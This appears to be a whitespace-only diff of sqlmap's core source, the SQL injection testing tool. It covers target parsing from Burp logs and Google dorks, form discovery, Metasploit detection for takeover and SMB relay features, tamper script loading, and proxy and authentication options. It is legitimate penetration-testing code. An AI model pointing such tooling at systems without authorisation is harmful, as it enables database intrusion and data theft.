NEXUS = "Google Nexus One;Mozilla/5.0 (Linux; U; Android 2.2; en-US; Nexus One Build/FRF91) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1"
|
||||||
NOKIA = "Nokia N97;Mozilla/5.0 (SymbianOS/9.4; Series60/5.0 NokiaN97-1/10.0.012; Profile/MIDP-2.1 Configuration/CLDC-1.1; en-us) AppleWebKit/525 (KHTML, like Gecko) WicKed/7.1.12344"
|
NOKIA = "Nokia N97;Mozilla/5.0 (SymbianOS/9.4; Series60/5.0 NokiaN97-1/10.0.012; Profile/MIDP-2.1 Configuration/CLDC-1.1; en-us) AppleWebKit/525 (KHTML, like Gecko) WicKed/7.1.12344"
|
||||||
|
|
||||||
class HTTPHEADER:
|
class HTTPHEADER:
|
||||||
ACCEPT_ENCODING = "Accept-Encoding"
|
ACCEPT_ENCODING = "Accept-Encoding"
|
||||||
AUTHORIZATION = "Authorization"
|
AUTHORIZATION = "Authorization"
|
||||||
CONNECTION = "Connection"
|
CONNECTION = "Connection"
|
||||||
CONTENT_ENCODING = "Content-Encoding"
|
CONTENT_ENCODING = "Content-Encoding"
|
||||||
CONTENT_LENGTH = "Content-Length"
|
CONTENT_LENGTH = "Content-Length"
|
||||||
CONTENT_RANGE = "Content-Range"
|
CONTENT_RANGE = "Content-Range"
|
||||||
CONTENT_TYPE = "Content-Type"
|
CONTENT_TYPE = "Content-Type"
|
||||||
COOKIE = "Cookie"
|
COOKIE = "Cookie"
|
||||||
PROXY_AUTHORIZATION = "Proxy-authorization"
|
PROXY_AUTHORIZATION = "Proxy-authorization"
|
||||||
RANGE = "Range"
|
RANGE = "Range"
|
||||||
REFERER = "Referer"
|
REFERER = "Referer"
|
||||||
USER_AGENT = "User-Agent"
|
USER_AGENT = "User-Agent"
|
||||||
|
|
||||||
class EXPECTED:
|
class EXPECTED:
|
||||||
BOOL = "bool"
|
BOOL = "bool"
|
||||||
INT = "int"
|
INT = "int"
|
||||||
|
|
||||||
class PAYLOAD:
|
class PAYLOAD:
|
||||||
SQLINJECTION = {
|
SQLINJECTION = {
|
||||||
|
@ -134,10 +134,10 @@ class PAYLOAD:
|
||||||
}
|
}
|
||||||
|
|
||||||
class METHOD:
|
class METHOD:
|
||||||
COMPARISON = "comparison"
|
COMPARISON = "comparison"
|
||||||
GREP = "grep"
|
GREP = "grep"
|
||||||
TIME = "time"
|
TIME = "time"
|
||||||
UNION = "union"
|
UNION = "union"
|
||||||
|
|
||||||
class TECHNIQUE:
|
class TECHNIQUE:
|
||||||
BOOLEAN = 1
|
BOOLEAN = 1
|
||||||
|
|
|
@ -163,7 +163,7 @@ def __feedTargetsDict(reqFile, addedTargetUrls):
|
||||||
getPostReq = False
|
getPostReq = False
|
||||||
|
|
||||||
for request in reqResList:
|
for request in reqResList:
|
||||||
url = extractRegexResult(r"URL: (?P<result>.+?)\n", request, re.I)
|
url = extractRegexResult(r"URL: (?P<result>.+?)\n", request, re.I)
|
||||||
method = extractRegexResult(r"METHOD: (?P<result>.+?)\n", request, re.I)
|
method = extractRegexResult(r"METHOD: (?P<result>.+?)\n", request, re.I)
|
||||||
cookie = extractRegexResult(r"COOKIE: (?P<result>.+?)\n", request, re.I)
|
cookie = extractRegexResult(r"COOKIE: (?P<result>.+?)\n", request, re.I)
|
||||||
getPostReq = True
|
getPostReq = True
|
||||||
|
@ -191,7 +191,7 @@ def __feedTargetsDict(reqFile, addedTargetUrls):
|
||||||
"""
|
"""
|
||||||
Parses burp logs
|
Parses burp logs
|
||||||
"""
|
"""
|
||||||
port = None
|
port = None
|
||||||
scheme = None
|
scheme = None
|
||||||
|
|
||||||
reqResList = content.split(BURP_SPLITTER)
|
reqResList = content.split(BURP_SPLITTER)
|
||||||
|
@ -202,7 +202,7 @@ def __feedTargetsDict(reqFile, addedTargetUrls):
|
||||||
|
|
||||||
if schemePort:
|
if schemePort:
|
||||||
scheme = schemePort.group(1)
|
scheme = schemePort.group(1)
|
||||||
port = schemePort.group(2)
|
port = schemePort.group(2)
|
||||||
|
|
||||||
if not re.search ("^[\n]*(GET|POST).*?\sHTTP\/", request, re.I):
|
if not re.search ("^[\n]*(GET|POST).*?\sHTTP\/", request, re.I):
|
||||||
continue
|
continue
|
||||||
|
@ -211,13 +211,13 @@ def __feedTargetsDict(reqFile, addedTargetUrls):
|
||||||
continue
|
continue
|
||||||
|
|
||||||
getPostReq = False
|
getPostReq = False
|
||||||
url = None
|
url = None
|
||||||
host = None
|
host = None
|
||||||
method = None
|
method = None
|
||||||
data = None
|
data = None
|
||||||
cookie = None
|
cookie = None
|
||||||
params = False
|
params = False
|
||||||
lines = request.split("\n")
|
lines = request.split("\n")
|
||||||
|
|
||||||
for line in lines:
|
for line in lines:
|
||||||
if len(line) == 0 or line == "\n":
|
if len(line) == 0 or line == "\n":
|
||||||
|
@ -283,9 +283,9 @@ def __feedTargetsDict(reqFile, addedTargetUrls):
|
||||||
scheme = "https"
|
scheme = "https"
|
||||||
|
|
||||||
if not url.startswith("http"):
|
if not url.startswith("http"):
|
||||||
url = "%s://%s:%s%s" % (scheme or "http", host, port or "80", url)
|
url = "%s://%s:%s%s" % (scheme or "http", host, port or "80", url)
|
||||||
scheme = None
|
scheme = None
|
||||||
port = None
|
port = None
|
||||||
|
|
||||||
if not kb.targetUrls or url not in addedTargetUrls:
|
if not kb.targetUrls or url not in addedTargetUrls:
|
||||||
kb.targetUrls.add((url, method, urldecode(data), cookie))
|
kb.targetUrls.add((url, method, urldecode(data), cookie))
|
||||||
|
@ -343,14 +343,14 @@ def __setMultipleTargets():
|
||||||
__feedTargetsDict(os.path.join(conf.list, reqFile), addedTargetUrls)
|
__feedTargetsDict(os.path.join(conf.list, reqFile), addedTargetUrls)
|
||||||
|
|
||||||
else:
|
else:
|
||||||
errMsg = "the specified list of targets is not a file "
|
errMsg = "the specified list of targets is not a file "
|
||||||
errMsg += "nor a directory"
|
errMsg += "nor a directory"
|
||||||
raise sqlmapFilePathException, errMsg
|
raise sqlmapFilePathException, errMsg
|
||||||
|
|
||||||
updatedTargetsCount = len(kb.targetUrls)
|
updatedTargetsCount = len(kb.targetUrls)
|
||||||
|
|
||||||
if updatedTargetsCount > initialTargetsCount:
|
if updatedTargetsCount > initialTargetsCount:
|
||||||
infoMsg = "sqlmap parsed %d " % (updatedTargetsCount - initialTargetsCount)
|
infoMsg = "sqlmap parsed %d " % (updatedTargetsCount - initialTargetsCount)
|
||||||
infoMsg += "testable requests from the targets list"
|
infoMsg += "testable requests from the targets list"
|
||||||
logger.info(infoMsg)
|
logger.info(infoMsg)
|
||||||
|
|
||||||
|
@ -371,7 +371,7 @@ def __setRequestFromFile():
|
||||||
logger.info(infoMsg)
|
logger.info(infoMsg)
|
||||||
|
|
||||||
if not os.path.isfile(conf.requestFile):
|
if not os.path.isfile(conf.requestFile):
|
||||||
errMsg = "the specified HTTP request file "
|
errMsg = "the specified HTTP request file "
|
||||||
errMsg += "does not exist"
|
errMsg += "does not exist"
|
||||||
raise sqlmapFilePathException, errMsg
|
raise sqlmapFilePathException, errMsg
|
||||||
|
|
||||||
|
@ -414,14 +414,14 @@ def __setGoogleDorking():
|
||||||
matches = googleObj.search(conf.googleDork)
|
matches = googleObj.search(conf.googleDork)
|
||||||
|
|
||||||
if not matches:
|
if not matches:
|
||||||
errMsg = "unable to find results for your "
|
errMsg = "unable to find results for your "
|
||||||
errMsg += "Google dork expression"
|
errMsg += "Google dork expression"
|
||||||
raise sqlmapGenericException, errMsg
|
raise sqlmapGenericException, errMsg
|
||||||
|
|
||||||
googleObj.getTargetUrls()
|
googleObj.getTargetUrls()
|
||||||
|
|
||||||
if kb.targetUrls:
|
if kb.targetUrls:
|
||||||
logMsg = "sqlmap got %d results for your " % len(matches)
|
logMsg = "sqlmap got %d results for your " % len(matches)
|
||||||
logMsg += "Google dork expression, "
|
logMsg += "Google dork expression, "
|
||||||
|
|
||||||
if len(matches) == len(kb.targetUrls):
|
if len(matches) == len(kb.targetUrls):
|
||||||
|
@ -432,7 +432,7 @@ def __setGoogleDorking():
|
||||||
logMsg += "of them are testable targets"
|
logMsg += "of them are testable targets"
|
||||||
logger.info(logMsg)
|
logger.info(logMsg)
|
||||||
else:
|
else:
|
||||||
errMsg = "sqlmap got %d results " % len(matches)
|
errMsg = "sqlmap got %d results " % len(matches)
|
||||||
errMsg += "for your Google dork expression, but none of them "
|
errMsg += "for your Google dork expression, but none of them "
|
||||||
errMsg += "have GET parameters to test for SQL injection"
|
errMsg += "have GET parameters to test for SQL injection"
|
||||||
raise sqlmapGenericException, errMsg
|
raise sqlmapGenericException, errMsg
|
||||||
|
@ -450,7 +450,7 @@ def __findPageForms():
|
||||||
response, _ = Request.queryPage(response=True)
|
response, _ = Request.queryPage(response=True)
|
||||||
|
|
||||||
if response is None or isinstance(response, basestring):
|
if response is None or isinstance(response, basestring):
|
||||||
errMsg = "can't do form parsing as no valid response "
|
errMsg = "can't do form parsing as no valid response "
|
||||||
errMsg += "object found. please check previous log messages "
|
errMsg += "object found. please check previous log messages "
|
||||||
errMsg += "for connection issues"
|
errMsg += "for connection issues"
|
||||||
raise sqlmapGenericException, errMsg
|
raise sqlmapGenericException, errMsg
|
||||||
|
@ -458,7 +458,7 @@ def __findPageForms():
|
||||||
try:
|
try:
|
||||||
forms = ParseResponse(response, backwards_compat=False)
|
forms = ParseResponse(response, backwards_compat=False)
|
||||||
except ParseError:
|
except ParseError:
|
||||||
errMsg = "badly formed HTML at the target url. can't parse forms"
|
errMsg = "badly formed HTML at the target url. can't parse forms"
|
||||||
raise sqlmapGenericException, errMsg
|
raise sqlmapGenericException, errMsg
|
||||||
|
|
||||||
if forms:
|
if forms:
|
||||||
|
@ -478,7 +478,7 @@ def __findPageForms():
|
||||||
kb.targetUrls.add(target)
|
kb.targetUrls.add(target)
|
||||||
kb.formNames.append(target)
|
kb.formNames.append(target)
|
||||||
else:
|
else:
|
||||||
errMsg = "there were no forms found at the given target url"
|
errMsg = "there were no forms found at the given target url"
|
||||||
raise sqlmapGenericException, errMsg
|
raise sqlmapGenericException, errMsg
|
||||||
|
|
||||||
def __setMetasploit():
|
def __setMetasploit():
|
||||||
|
@ -491,7 +491,7 @@ def __setMetasploit():
|
||||||
msfEnvPathExists = False
|
msfEnvPathExists = False
|
||||||
|
|
||||||
if IS_WIN:
|
if IS_WIN:
|
||||||
warnMsg = "some sqlmap takeover functionalities are not yet "
|
warnMsg = "some sqlmap takeover functionalities are not yet "
|
||||||
warnMsg += "supported on Windows. Please use Linux in a virtual "
|
warnMsg += "supported on Windows. Please use Linux in a virtual "
|
||||||
warnMsg += "machine for out-of-band features."
|
warnMsg += "machine for out-of-band features."
|
||||||
|
|
||||||
|
@ -503,7 +503,7 @@ def __setMetasploit():
|
||||||
isAdmin = runningAsAdmin()
|
isAdmin = runningAsAdmin()
|
||||||
|
|
||||||
if isAdmin is not True:
|
if isAdmin is not True:
|
||||||
errMsg = "you need to run sqlmap as an administrator "
|
errMsg = "you need to run sqlmap as an administrator "
|
||||||
errMsg += "if you want to perform a SMB relay attack because "
|
errMsg += "if you want to perform a SMB relay attack because "
|
||||||
errMsg += "it will need to listen on a user-specified SMB "
|
errMsg += "it will need to listen on a user-specified SMB "
|
||||||
errMsg += "TCP port for incoming connection attempts"
|
errMsg += "TCP port for incoming connection attempts"
|
||||||
|
@ -513,7 +513,7 @@ def __setMetasploit():
|
||||||
condition = False
|
condition = False
|
||||||
|
|
||||||
for path in [conf.msfPath, os.path.join(conf.msfPath, 'bin')]:
|
for path in [conf.msfPath, os.path.join(conf.msfPath, 'bin')]:
|
||||||
condition = os.path.exists(normalizePath(path))
|
condition = os.path.exists(normalizePath(path))
|
||||||
condition &= os.path.exists(normalizePath(os.path.join(path, "msfcli")))
|
condition &= os.path.exists(normalizePath(os.path.join(path, "msfcli")))
|
||||||
condition &= os.path.exists(normalizePath(os.path.join(path, "msfconsole")))
|
condition &= os.path.exists(normalizePath(os.path.join(path, "msfconsole")))
|
||||||
condition &= os.path.exists(normalizePath(os.path.join(path, "msfencode")))
|
condition &= os.path.exists(normalizePath(os.path.join(path, "msfencode")))
|
||||||
|
@ -524,13 +524,13 @@ def __setMetasploit():
|
||||||
break
|
break
|
||||||
|
|
||||||
if condition:
|
if condition:
|
||||||
debugMsg = "provided Metasploit Framework 3 path "
|
debugMsg = "provided Metasploit Framework 3 path "
|
||||||
debugMsg += "'%s' is valid" % conf.msfPath
|
debugMsg += "'%s' is valid" % conf.msfPath
|
||||||
logger.debug(debugMsg)
|
logger.debug(debugMsg)
|
||||||
|
|
||||||
msfEnvPathExists = True
|
msfEnvPathExists = True
|
||||||
else:
|
else:
|
||||||
warnMsg = "the provided Metasploit Framework 3 path "
|
warnMsg = "the provided Metasploit Framework 3 path "
|
||||||
warnMsg += "'%s' is not valid. The cause could " % conf.msfPath
|
warnMsg += "'%s' is not valid. The cause could " % conf.msfPath
|
||||||
warnMsg += "be that the path does not exists or that one "
|
warnMsg += "be that the path does not exists or that one "
|
||||||
warnMsg += "or more of the needed Metasploit executables "
|
warnMsg += "or more of the needed Metasploit executables "
|
||||||
|
@ -538,12 +538,12 @@ def __setMetasploit():
|
||||||
warnMsg += "msfpayload do not exist"
|
warnMsg += "msfpayload do not exist"
|
||||||
logger.warn(warnMsg)
|
logger.warn(warnMsg)
|
||||||
else:
|
else:
|
||||||
warnMsg = "you did not provide the local path where Metasploit "
|
warnMsg = "you did not provide the local path where Metasploit "
|
||||||
warnMsg += "Framework 3 is installed"
|
warnMsg += "Framework 3 is installed"
|
||||||
logger.warn(warnMsg)
|
logger.warn(warnMsg)
|
||||||
|
|
||||||
if not msfEnvPathExists:
|
if not msfEnvPathExists:
|
||||||
warnMsg = "sqlmap is going to look for Metasploit Framework 3 "
|
warnMsg = "sqlmap is going to look for Metasploit Framework 3 "
|
||||||
warnMsg += "installation into the environment paths"
|
warnMsg += "installation into the environment paths"
|
||||||
logger.warn(warnMsg)
|
logger.warn(warnMsg)
|
||||||
|
|
||||||
|
@ -555,25 +555,25 @@ def __setMetasploit():
|
||||||
envPaths = envPaths.split(":")
|
envPaths = envPaths.split(":")
|
||||||
|
|
||||||
for envPath in envPaths:
|
for envPath in envPaths:
|
||||||
envPath = envPath.replace(";", "")
|
envPath = envPath.replace(";", "")
|
||||||
condition = os.path.exists(normalizePath(envPath))
|
condition = os.path.exists(normalizePath(envPath))
|
||||||
condition &= os.path.exists(normalizePath(os.path.join(envPath, "msfcli")))
|
condition &= os.path.exists(normalizePath(os.path.join(envPath, "msfcli")))
|
||||||
condition &= os.path.exists(normalizePath(os.path.join(envPath, "msfconsole")))
|
condition &= os.path.exists(normalizePath(os.path.join(envPath, "msfconsole")))
|
||||||
condition &= os.path.exists(normalizePath(os.path.join(envPath, "msfencode")))
|
condition &= os.path.exists(normalizePath(os.path.join(envPath, "msfencode")))
|
||||||
condition &= os.path.exists(normalizePath(os.path.join(envPath, "msfpayload")))
|
condition &= os.path.exists(normalizePath(os.path.join(envPath, "msfpayload")))
|
||||||
|
|
||||||
if condition:
|
if condition:
|
||||||
infoMsg = "Metasploit Framework 3 has been found "
|
infoMsg = "Metasploit Framework 3 has been found "
|
||||||
infoMsg += "installed in the '%s' path" % envPath
|
infoMsg += "installed in the '%s' path" % envPath
|
||||||
logger.info(infoMsg)
|
logger.info(infoMsg)
|
||||||
|
|
||||||
msfEnvPathExists = True
|
msfEnvPathExists = True
|
||||||
conf.msfPath = envPath
|
conf.msfPath = envPath
|
||||||
|
|
||||||
break
|
break
|
||||||
|
|
||||||
if not msfEnvPathExists:
|
if not msfEnvPathExists:
|
||||||
errMsg = "unable to locate Metasploit Framework 3 installation. "
|
errMsg = "unable to locate Metasploit Framework 3 installation. "
|
||||||
errMsg += "Get it from http://metasploit.com/framework/download/"
|
errMsg += "Get it from http://metasploit.com/framework/download/"
|
||||||
raise sqlmapFilePathException, errMsg
|
raise sqlmapFilePathException, errMsg
|
||||||
|
|
||||||
|
@ -589,7 +589,7 @@ def __setWriteFile():
|
||||||
raise sqlmapFilePathException, errMsg
|
raise sqlmapFilePathException, errMsg
|
||||||
|
|
||||||
if not conf.dFile:
|
if not conf.dFile:
|
||||||
errMsg = "you did not provide the back-end DBMS absolute path "
|
errMsg = "you did not provide the back-end DBMS absolute path "
|
||||||
errMsg += "where you want to write the local file '%s'" % conf.wFile
|
errMsg += "where you want to write the local file '%s'" % conf.wFile
|
||||||
raise sqlmapMissingMandatoryOptionException, errMsg
|
raise sqlmapMissingMandatoryOptionException, errMsg
|
||||||
|
|
||||||
|
@ -714,11 +714,11 @@ def __setTamperingFunctions():
|
||||||
dirname, filename = os.path.split(tfile)
|
dirname, filename = os.path.split(tfile)
|
||||||
dirname = os.path.abspath(dirname)
|
dirname = os.path.abspath(dirname)
|
||||||
|
|
||||||
infoMsg = "loading tamper script '%s'" % filename[:-3]
|
infoMsg = "loading tamper script '%s'" % filename[:-3]
|
||||||
logger.info(infoMsg)
|
logger.info(infoMsg)
|
||||||
|
|
||||||
if not os.path.exists(os.path.join(dirname, '__init__.py')):
|
if not os.path.exists(os.path.join(dirname, '__init__.py')):
|
||||||
errMsg = "make sure that there is an empty file '__init__.py' "
|
errMsg = "make sure that there is an empty file '__init__.py' "
|
||||||
errMsg += "inside of tamper scripts directory '%s'" % dirname
|
errMsg += "inside of tamper scripts directory '%s'" % dirname
|
||||||
raise sqlmapGenericException, errMsg
|
raise sqlmapGenericException, errMsg
|
||||||
|
|
||||||
|
@ -738,7 +738,7 @@ def __setTamperingFunctions():
|
||||||
kb.tamperFunctions.append(function)
|
kb.tamperFunctions.append(function)
|
||||||
|
|
||||||
if check_priority and priority > last_priority:
|
if check_priority and priority > last_priority:
|
||||||
message = "it seems that you might have mixed "
|
message = "it seems that you might have mixed "
|
||||||
message += "the order of tamper scripts.\n"
|
message += "the order of tamper scripts.\n"
|
||||||
message += "Do you want to auto resolve this? [Y/n/q]"
|
message += "Do you want to auto resolve this? [Y/n/q]"
|
||||||
test = readInput(message, default="Y")
|
test = readInput(message, default="Y")
|
||||||
|
@ -803,13 +803,13 @@ def __setHTTPProxy():
|
||||||
debugMsg = "setting the HTTP proxy to pass by all HTTP requests"
|
debugMsg = "setting the HTTP proxy to pass by all HTTP requests"
|
||||||
logger.debug(debugMsg)
|
logger.debug(debugMsg)
|
||||||
|
|
||||||
__proxySplit = urlparse.urlsplit(conf.proxy)
|
__proxySplit = urlparse.urlsplit(conf.proxy)
|
||||||
__hostnamePort = __proxySplit[1].split(":")
|
__hostnamePort = __proxySplit[1].split(":")
|
||||||
|
|
||||||
__scheme = __proxySplit[0]
|
__scheme = __proxySplit[0]
|
||||||
__hostname = __hostnamePort[0]
|
__hostname = __hostnamePort[0]
|
||||||
__port = None
|
__port = None
|
||||||
__proxyString = ""
|
__proxyString = ""
|
||||||
|
|
||||||
if len(__hostnamePort) == 2:
|
if len(__hostnamePort) == 2:
|
||||||
try:
|
try:
|
||||||
|
@ -825,7 +825,7 @@ def __setHTTPProxy():
|
||||||
pCredRegExp = re.search("^(.*?):(.*?)$", conf.pCred)
|
pCredRegExp = re.search("^(.*?):(.*?)$", conf.pCred)
|
||||||
|
|
||||||
if not pCredRegExp:
|
if not pCredRegExp:
|
||||||
errMsg = "Proxy authentication credentials "
|
errMsg = "Proxy authentication credentials "
|
||||||
errMsg += "value must be in format username:password"
|
errMsg += "value must be in format username:password"
|
||||||
raise sqlmapSyntaxException, errMsg
|
raise sqlmapSyntaxException, errMsg
|
||||||
|
|
||||||
|
@ -911,12 +911,12 @@ def __setHTTPAuthentication():
|
||||||
return
|
return
|
||||||
|
|
||||||
elif conf.aType and not conf.aCred:
|
elif conf.aType and not conf.aCred:
|
||||||
errMsg = "you specified the HTTP authentication type, but "
|
errMsg = "you specified the HTTP authentication type, but "
|
||||||
errMsg += "did not provide the credentials"
|
errMsg += "did not provide the credentials"
|
||||||
raise sqlmapSyntaxException, errMsg
|
raise sqlmapSyntaxException, errMsg
|
||||||
|
|
||||||
elif not conf.aType and conf.aCred:
|
elif not conf.aType and conf.aCred:
|
||||||
errMsg = "you specified the HTTP authentication credentials, "
|
errMsg = "you specified the HTTP authentication credentials, "
|
||||||
errMsg += "but did not provide the type"
|
errMsg += "but did not provide the type"
|
||||||
raise sqlmapSyntaxException, errMsg
|
raise sqlmapSyntaxException, errMsg
|
||||||
|
|
||||||
|
@ -927,16 +927,16 @@ def __setHTTPAuthentication():
|
||||||
aTypeLower = conf.aType.lower()
|
aTypeLower = conf.aType.lower()
|
||||||
|
|
||||||
if aTypeLower not in ( "basic", "digest", "ntlm" ):
|
if aTypeLower not in ( "basic", "digest", "ntlm" ):
|
||||||
errMsg = "HTTP authentication type value must be "
|
errMsg = "HTTP authentication type value must be "
|
||||||
errMsg += "Basic, Digest or NTLM"
|
errMsg += "Basic, Digest or NTLM"
|
||||||
raise sqlmapSyntaxException, errMsg
|
raise sqlmapSyntaxException, errMsg
|
||||||
elif aTypeLower in ( "basic", "digest" ):
|
elif aTypeLower in ( "basic", "digest" ):
|
||||||
regExp = "^(.*?):(.*?)$"
|
regExp = "^(.*?):(.*?)$"
|
||||||
errMsg = "HTTP %s authentication credentials " % aTypeLower
|
errMsg = "HTTP %s authentication credentials " % aTypeLower
|
||||||
errMsg += "value must be in format username:password"
|
errMsg += "value must be in format username:password"
|
||||||
elif aTypeLower == "ntlm":
|
elif aTypeLower == "ntlm":
|
||||||
regExp = "^(.*?)\\\(.*?):(.*?)$"
|
regExp = "^(.*?)\\\(.*?):(.*?)$"
|
||||||
errMsg = "HTTP NTLM authentication credentials value must "
|
errMsg = "HTTP NTLM authentication credentials value must "
|
||||||
errMsg += "be in format DOMAIN\username:password"
|
errMsg += "be in format DOMAIN\username:password"
|
||||||
|
|
||||||
aCredRegExp = re.search(regExp, conf.aCred)
|
aCredRegExp = re.search(regExp, conf.aCred)
|
||||||
|
@ -960,7 +960,7 @@ def __setHTTPAuthentication():
|
||||||
try:
|
try:
|
||||||
from ntlm import HTTPNtlmAuthHandler
|
from ntlm import HTTPNtlmAuthHandler
|
||||||
except ImportError, _:
|
except ImportError, _:
|
||||||
errMsg = "sqlmap requires Python NTLM third-party library "
|
errMsg = "sqlmap requires Python NTLM third-party library "
|
||||||
errMsg += "in order to authenticate via NTLM, "
|
errMsg += "in order to authenticate via NTLM, "
|
||||||
errMsg += "http://code.google.com/p/python-ntlm/"
|
errMsg += "http://code.google.com/p/python-ntlm/"
|
||||||
raise sqlmapMissingDependence, errMsg
|
raise sqlmapMissingDependence, errMsg
|
||||||
|
@ -973,7 +973,7 @@ def __setHTTPAuthentication():
|
||||||
aCertRegExp = re.search("^(.+?),\s*(.+?)$", conf.aCert)
|
aCertRegExp = re.search("^(.+?),\s*(.+?)$", conf.aCert)
|
||||||
|
|
||||||
if not aCertRegExp:
|
if not aCertRegExp:
|
||||||
errMsg = "HTTP authentication certificate option "
|
errMsg = "HTTP authentication certificate option "
|
||||||
errMsg += "must be in format key_file,cert_file"
|
errMsg += "must be in format key_file,cert_file"
|
||||||
raise sqlmapSyntaxException, errMsg
|
raise sqlmapSyntaxException, errMsg
|
||||||
|
|
||||||
|
@ -983,7 +983,7 @@ def __setHTTPAuthentication():
|
||||||
|
|
||||||
for ifile in (key_file, cert_file):
|
for ifile in (key_file, cert_file):
|
||||||
if not os.path.exists(ifile):
|
if not os.path.exists(ifile):
|
||||||
errMsg = "File '%s' does not exist" % ifile
|
errMsg = "File '%s' does not exist" % ifile
|
||||||
raise sqlmapSyntaxException, errMsg
|
raise sqlmapSyntaxException, errMsg
|
||||||
|
|
||||||
authHandler = HTTPSCertAuthHandler(key_file, cert_file)
|
authHandler = HTTPSCertAuthHandler(key_file, cert_file)
|
||||||
|
@ -1091,14 +1091,14 @@ def __setHTTPUserAgent():
|
||||||
|
|
||||||
else:
|
else:
|
||||||
if not kb.userAgents:
|
if not kb.userAgents:
|
||||||
debugMsg = "loading random HTTP User-Agent header(s) from "
|
debugMsg = "loading random HTTP User-Agent header(s) from "
|
||||||
debugMsg += "file '%s'" % paths.USER_AGENTS
|
debugMsg += "file '%s'" % paths.USER_AGENTS
|
||||||
logger.debug(debugMsg)
|
logger.debug(debugMsg)
|
||||||
|
|
||||||
try:
|
try:
|
||||||
kb.userAgents = getFileItems(paths.USER_AGENTS)
|
kb.userAgents = getFileItems(paths.USER_AGENTS)
|
||||||
except IOError:
|
except IOError:
|
||||||
warnMsg = "unable to read HTTP User-Agent header "
|
warnMsg = "unable to read HTTP User-Agent header "
|
||||||
warnMsg += "file '%s'" % paths.USER_AGENTS
|
warnMsg += "file '%s'" % paths.USER_AGENTS
|
||||||
logger.warn(warnMsg)
|
logger.warn(warnMsg)
|
||||||
|
|
||||||
|
@ -1115,7 +1115,7 @@ def __setHTTPUserAgent():
|
||||||
userAgent = sanitizeStr(userAgent)
|
userAgent = sanitizeStr(userAgent)
|
||||||
conf.httpHeaders.append((HTTPHEADER.USER_AGENT, userAgent))
|
conf.httpHeaders.append((HTTPHEADER.USER_AGENT, userAgent))
|
||||||
|
|
||||||
logMsg = "fetched random HTTP User-Agent header from "
|
logMsg = "fetched random HTTP User-Agent header from "
|
||||||
logMsg += "file '%s': %s" % (paths.USER_AGENTS, userAgent)
|
logMsg += "file '%s': %s" % (paths.USER_AGENTS, userAgent)
|
||||||
logger.info(logMsg)
|
logger.info(logMsg)
|
||||||
|
|
||||||
|
@ -1154,7 +1154,7 @@ def __setHTTPTimeout():
|
||||||
conf.timeout = float(conf.timeout)
|
conf.timeout = float(conf.timeout)
|
||||||
|
|
||||||
if conf.timeout < 3.0:
|
if conf.timeout < 3.0:
|
||||||
warnMsg = "the minimum HTTP timeout is 3 seconds, sqlmap "
|
warnMsg = "the minimum HTTP timeout is 3 seconds, sqlmap "
|
||||||
warnMsg += "will going to reset it"
|
warnMsg += "will going to reset it"
|
||||||
logger.warn(warnMsg)
|
logger.warn(warnMsg)
|
||||||
|
|
||||||
|
@ -1234,7 +1234,7 @@ def __cleanupOptions():
|
||||||
conf.timeSec = 2 * TIME_DEFAULT_DELAY
|
conf.timeSec = 2 * TIME_DEFAULT_DELAY
|
||||||
kb.adjustTimeDelay = False
|
kb.adjustTimeDelay = False
|
||||||
|
|
||||||
warnMsg = "increasing default value for "
|
warnMsg = "increasing default value for "
|
||||||
warnMsg += "--time-sec to %d because " % conf.timeSec
|
warnMsg += "--time-sec to %d because " % conf.timeSec
|
||||||
warnMsg += "--tor switch was provided"
|
warnMsg += "--tor switch was provided"
|
||||||
logger.warn(warnMsg)
|
logger.warn(warnMsg)
|
||||||
|
@ -1253,27 +1253,27 @@ def __setConfAttributes():
|
||||||
debugMsg = "initializing the configuration"
|
debugMsg = "initializing the configuration"
|
||||||
logger.debug(debugMsg)
|
logger.debug(debugMsg)
|
||||||
|
|
||||||
conf.boundaries = []
|
conf.boundaries = []
|
||||||
conf.cj = None
|
conf.cj = None
|
||||||
conf.dbmsConnector = None
|
conf.dbmsConnector = None
|
||||||
conf.dbmsHandler = None
|
conf.dbmsHandler = None
|
||||||
conf.dumpPath = None
|
conf.dumpPath = None
|
||||||
conf.httpHeaders = []
|
conf.httpHeaders = []
|
||||||
conf.hostname = None
|
conf.hostname = None
|
||||||
conf.loggedToOut = None
|
conf.loggedToOut = None
|
||||||
conf.multipleTargets = False
|
conf.multipleTargets = False
|
||||||
conf.outputPath = None
|
conf.outputPath = None
|
||||||
conf.paramDict = {}
|
conf.paramDict = {}
|
||||||
conf.parameters = {}
|
conf.parameters = {}
|
||||||
conf.path = None
|
conf.path = None
|
||||||
conf.port = None
|
conf.port = None
|
||||||
conf.redirectHandled = False
|
conf.redirectHandled = False
|
||||||
conf.scheme = None
|
conf.scheme = None
|
||||||
conf.sessionFP = None
|
conf.sessionFP = None
|
||||||
conf.start = True
|
conf.start = True
|
||||||
conf.tests = []
|
conf.tests = []
|
||||||
conf.trafficFP = None
|
conf.trafficFP = None
|
||||||
conf.wFileType = None
|
conf.wFileType = None
|
||||||
|
|
||||||
def __setKnowledgeBaseAttributes(flushAll=True):
|
def __setKnowledgeBaseAttributes(flushAll=True):
|
||||||
"""
|
"""
|
||||||
|
@ -1284,95 +1284,95 @@ def __setKnowledgeBaseAttributes(flushAll=True):
|
||||||
debugMsg = "initializing the knowledge base"
|
debugMsg = "initializing the knowledge base"
|
||||||
logger.debug(debugMsg)
|
logger.debug(debugMsg)
|
||||||
|
|
||||||
kb.absFilePaths = set()
|
kb.absFilePaths = set()
|
||||||
kb.adjustTimeDelay = False
|
kb.adjustTimeDelay = False
|
||||||
kb.arch = None
|
kb.arch = None
|
||||||
kb.authHeader = None
|
kb.authHeader = None
|
||||||
kb.bannerFp = advancedDict()
|
kb.bannerFp = advancedDict()
|
||||||
|
|
||||||
kb.brute = advancedDict({'tables':[], 'columns':[]})
|
kb.brute = advancedDict({'tables':[], 'columns':[]})
|
||||||
kb.bruteMode = False
|
kb.bruteMode = False
|
||||||
|
|
||||||
kb.cache = advancedDict()
|
kb.cache = advancedDict()
|
||||||
kb.cache.content = {}
|
kb.cache.content = {}
|
||||||
kb.cache.regex = {}
|
kb.cache.regex = {}
|
||||||
kb.cache.stdev = {}
|
kb.cache.stdev = {}
|
||||||
|
|
||||||
kb.commonOutputs = None
|
kb.commonOutputs = None
|
||||||
|
|
||||||
kb.data = advancedDict()
|
kb.data = advancedDict()
|
||||||
|
|
||||||
# Active back-end DBMS fingerprint
|
# Active back-end DBMS fingerprint
|
||||||
kb.dbms = None
|
kb.dbms = None
|
||||||
kb.dbmsVersion = [ UNKNOWN_DBMS_VERSION ]
|
kb.dbmsVersion = [ UNKNOWN_DBMS_VERSION ]
|
||||||
